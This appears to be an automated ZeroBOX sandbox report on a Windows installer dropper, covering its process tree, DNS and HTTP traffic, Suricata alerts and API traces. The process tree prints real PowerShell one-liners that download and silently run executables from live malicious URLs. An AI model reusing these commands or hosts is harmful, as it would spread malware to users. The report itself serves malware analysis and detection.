Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	May 20, 2024, 10:22 a.m.	May 20, 2024, 10:25 a.m.

Size	49.7KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`52bcb73bddd7e3b613ec7fb1367c91c1`
SHA256	`e8d2ceb9ff07927d1e9d9686ffa462505aa740f43c7e3b14241d134b7711d2d9`
CRC32	`43F4C992`
ssdeep	`1536:XferrLkSRoe8C4UZsys0Dh1duFpKFI+Plm:Xfi3k+oWDBDh1duFp/Wlm`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature NSIS_Installer - Null Soft Installer IsPE32 - (no description) UPX_Zero - UPX packed file

start-pub.exe "C:\Users\test22\AppData\Local\Temp\start-pub.exe"
840
- cmd.exe "cmd" /c "C:\Users\test22\AppData\Local\Temp\nsvBEA8.tmp\brn.bat"
  2120
  - powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2841&c=2841','stat')"
    2192
  - powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=2841','i0.exe')"
    2288
  - i0.exe i0.exe /verysilent /sub=1000
    2444
    - i0.tmp "C:\Users\test22\AppData\Local\Temp\is-HDLBD.tmp\i0.tmp" /SL5="$50172,2859366,899584,C:\Users\test22\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
      2512
  - powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=2841', 'i2.bat')"
    2544
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
240429000936002.mjt.kqri92.top	A 179.43.158.2	94.156.35.76
apps.identrust.com	A 182.162.106.144 A 182.162.106.33 CNAME a1952.dscq.akamai.net CNAME identrust.edgesuite.net	23.50.121.153
cdn-edge-node.com	A 172.67.165.254 A 104.21.11.117	104.21.11.117
d1vt2h4o64rfsv.cloudfront.net	A 18.244.65.72 A 18.244.65.34 A 18.244.65.223 A 18.244.65.10	18.244.65.223
d22hce23hy1ej9.cloudfront.net	A 13.225.110.24 A 13.225.110.159 A 13.225.110.70 A 13.225.110.102	13.225.110.70
adblock2024.shop	A 172.67.176.247 A 104.21.43.83	172.67.176.247

IP Address	Status	Action
104.21.43.83	Active	Moloch
13.225.110.102	Active	Moloch
164.124.101.2	Active	Moloch
172.67.165.254	Active	Moloch
179.43.158.2	Active	Moloch
18.244.65.10	Active	Moloch
182.162.106.144	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49169 -> 13.225.110.102:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49162 -> 18.244.65.10:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49173 -> 172.67.165.254:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49172 -> 13.225.110.102:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49182 -> 179.43.158.2:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic
TCP 192.168.56.103:49180 -> 13.225.110.102:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49179 -> 104.21.43.83:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
UDP 192.168.56.103:62576 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49169 13.225.110.102:443	C=US, O=Amazon, CN=Amazon RSA 2048 M01	CN=*.cloudfront.net	fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1 192.168.56.103:49173 172.67.165.254:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=cdn-edge-node.com	91:0f:27:57:ee:98:f8:5f:d5:7c:7c:6c:88:dd:0b:40:d7:4a:45:06
TLSv1 192.168.56.103:49162 18.244.65.10:443	C=US, O=Amazon, CN=Amazon RSA 2048 M01	CN=*.cloudfront.net	fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1 192.168.56.103:49172 13.225.110.102:443	C=US, O=Amazon, CN=Amazon RSA 2048 M01	CN=*.cloudfront.net	fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1 192.168.56.103:49180 13.225.110.102:443	C=US, O=Amazon, CN=Amazon RSA 2048 M01	CN=*.cloudfront.net	fa:21:45:dc:4d:94:03:a3:09:77:51:78:4a:21:f2:c5:6d:94:be:52
TLSv1 192.168.56.103:49179 104.21.43.83:443	C=US, O=Let's Encrypt, CN=E1	CN=adblock2024.shop	f6:53:16:b6:98:89:7a:ae:57:00:89:be:e1:b6:81:59:8e:db:ed:ab

Queries for the computername (21 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2024, 10:23 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 20, 2024, 10:22 a.m.			0	0
IsDebuggerPresent May 20, 2024, 10:23 a.m.			0	0
IsDebuggerPresent May 20, 2024, 10:23 a.m.			0	0
IsDebuggerPresent May 20, 2024, 10:23 a.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: The system cannot find the file i2.bat. console_handle: 0x0000000b	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote server retur console_handle: 0x00000023	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: ned an error: (404) Not Found." console_handle: 0x0000002f	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: At line:1 char:111 console_handle: 0x0000003b	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: + $cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDown console_handle: 0x00000047	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: loadPlugin/1.5';$cli.DownloadFile <<<< ('https://d22hce23hy1ej9.cloudfront.net/ console_handle: 0x00000053	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: load/dl.php?id=444&c=2841', 'i2.bat') console_handle: 0x0000005f	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000006b	1	1
WriteConsoleW May 20, 2024, 10:23 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000077	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 126 events)

Time & API	Arguments	Status	Return
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dad0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058db50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058db50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058db50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e3d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e3d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e3d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e3d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e3d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e3d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058db50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058db50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058db50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e490 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dc90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058dd10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058e050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002adeb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002adf38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002adf38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002adf38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002ae7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002ae7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002ae7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002ae7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002ae7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 20, 2024, 10:23 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x002ae7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 20, 2024, 10:22 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ May 20, 2024, 10:23 a.m.	stacktrace: TMethodImplementationIntercept+0x14209d dbkFCallWrapperAddr-0xdc72b i0+0x1f7f15 @ 0x5f7f15 TMethodImplementationIntercept+0x13b21b dbkFCallWrapperAddr-0xe35ad i0+0x1f1093 @ 0x5f1093 TMethodImplementationIntercept+0x13c502 dbkFCallWrapperAddr-0xe22c6 i0+0x1f237a @ 0x5f237a TMethodImplementationIntercept+0x140e61 dbkFCallWrapperAddr-0xdd967 i0+0x1f6cd9 @ 0x5f6cd9 TMethodImplementationIntercept+0x140ed7 dbkFCallWrapperAddr-0xdd8f1 i0+0x1f6d4f @ 0x5f6d4f TMethodImplementationIntercept+0x135f43 dbkFCallWrapperAddr-0xe8885 i0+0x1ebdbb @ 0x5ebdbb TMethodImplementationIntercept+0x134c8d dbkFCallWrapperAddr-0xe9b3b i0+0x1eab05 @ 0x5eab05 TMethodImplementationIntercept+0x1ee923 dbkFCallWrapperAddr-0x2fea5 i0+0x2a479b @ 0x6a479b TMethodImplementationIntercept+0x1eeaa2 dbkFCallWrapperAddr-0x2fd26 i0+0x2a491a @ 0x6a491a TMethodImplementationIntercept+0x1fcbb2 dbkFCallWrapperAddr-0x21c16 i0+0x2b2a2a @ 0x6b2a2a TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc i0+0x2c6774 @ 0x6c6774 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xeedfade exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 1636536 registers.edi: 0 registers.eax: 1636536 registers.ebp: 1636616 registers.edx: 0 registers.ebx: 2147614729 registers.esi: 4294967295 registers.ecx: 7	1	0	0
__exception__ May 20, 2024, 10:23 a.m.	stacktrace: TMethodImplementationIntercept+0x13fbef dbkFCallWrapperAddr-0xdebd9 i0+0x1f5a67 @ 0x5f5a67 TMethodImplementationIntercept+0x1ed87f dbkFCallWrapperAddr-0x30f49 i0+0x2a36f7 @ 0x6a36f7 TMethodImplementationIntercept+0x1ee939 dbkFCallWrapperAddr-0x2fe8f i0+0x2a47b1 @ 0x6a47b1 TMethodImplementationIntercept+0x1eeaa2 dbkFCallWrapperAddr-0x2fd26 i0+0x2a491a @ 0x6a491a TMethodImplementationIntercept+0x1fcbb2 dbkFCallWrapperAddr-0x21c16 i0+0x2b2a2a @ 0x6b2a2a TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc i0+0x2c6774 @ 0x6c6774 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xeedfade exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 1637552 registers.edi: 0 registers.eax: 1637552 registers.ebp: 1637632 registers.edx: 0 registers.ebx: 34591728 registers.esi: 2 registers.ecx: 7	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

May 20, 2024, 10:23 a.m.

stacktrace:

TMethodImplementationIntercept+0x14209d dbkFCallWrapperAddr-0xdc72b i0+0x1f7f15 @ 0x5f7f15
TMethodImplementationIntercept+0x13b21b dbkFCallWrapperAddr-0xe35ad i0+0x1f1093 @ 0x5f1093
TMethodImplementationIntercept+0x13c502 dbkFCallWrapperAddr-0xe22c6 i0+0x1f237a @ 0x5f237a
TMethodImplementationIntercept+0x140e61 dbkFCallWrapperAddr-0xdd967 i0+0x1f6cd9 @ 0x5f6cd9
TMethodImplementationIntercept+0x140ed7 dbkFCallWrapperAddr-0xdd8f1 i0+0x1f6d4f @ 0x5f6d4f
TMethodImplementationIntercept+0x135f43 dbkFCallWrapperAddr-0xe8885 i0+0x1ebdbb @ 0x5ebdbb
TMethodImplementationIntercept+0x134c8d dbkFCallWrapperAddr-0xe9b3b i0+0x1eab05 @ 0x5eab05
TMethodImplementationIntercept+0x1ee923 dbkFCallWrapperAddr-0x2fea5 i0+0x2a479b @ 0x6a479b
TMethodImplementationIntercept+0x1eeaa2 dbkFCallWrapperAddr-0x2fd26 i0+0x2a491a @ 0x6a491a
TMethodImplementationIntercept+0x1fcbb2 dbkFCallWrapperAddr-0x21c16 i0+0x2b2a2a @ 0x6b2a2a
TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc i0+0x2c6774 @ 0x6c6774
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xeedfade
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 1636536
registers.edi: 0
registers.eax: 1636536
registers.ebp: 1636616
registers.edx: 0
registers.ebx: 2147614729
registers.esi: 4294967295
registers.ecx: 7

__exception__

May 20, 2024, 10:23 a.m.

stacktrace:

TMethodImplementationIntercept+0x13fbef dbkFCallWrapperAddr-0xdebd9 i0+0x1f5a67 @ 0x5f5a67
TMethodImplementationIntercept+0x1ed87f dbkFCallWrapperAddr-0x30f49 i0+0x2a36f7 @ 0x6a36f7
TMethodImplementationIntercept+0x1ee939 dbkFCallWrapperAddr-0x2fe8f i0+0x2a47b1 @ 0x6a47b1
TMethodImplementationIntercept+0x1eeaa2 dbkFCallWrapperAddr-0x2fd26 i0+0x2a491a @ 0x6a491a
TMethodImplementationIntercept+0x1fcbb2 dbkFCallWrapperAddr-0x21c16 i0+0x2b2a2a @ 0x6b2a2a
TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc i0+0x2c6774 @ 0x6c6774
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xeedfade
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 1637552
registers.edi: 0
registers.eax: 1637552
registers.ebp: 1637632
registers.edx: 0
registers.ebx: 34591728
registers.esi: 2
registers.ecx: 7

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2841&c=2841
suspicious_features	GET method with no useragent header	suspicious_request	GET https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=2841
suspicious_features	GET method with no useragent header	suspicious_request	GET https://cdn-edge-node.com/online_security_mkl.exe

Performs some HTTP requests (7 events)

request	GET http://240429000936002.mjt.kqri92.top/f/fvgbm0428902.txt
request	GET http://apps.identrust.com/roots/dstrootcax3.p7c
request	GET https://d1vt2h4o64rfsv.cloudfront.net/load/load.php?c=2841&a=2841
request	GET https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2841&c=2841
request	GET https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=2841
request	GET https://cdn-edge-node.com/online_security_mkl.exe
request	GET https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=2841

Allocates read-write-execute memory (usually to unpack itself) (50 out of 433 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02450000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02492000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 20, 2024, 10:22 a.m.	process_identifier: 2192 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
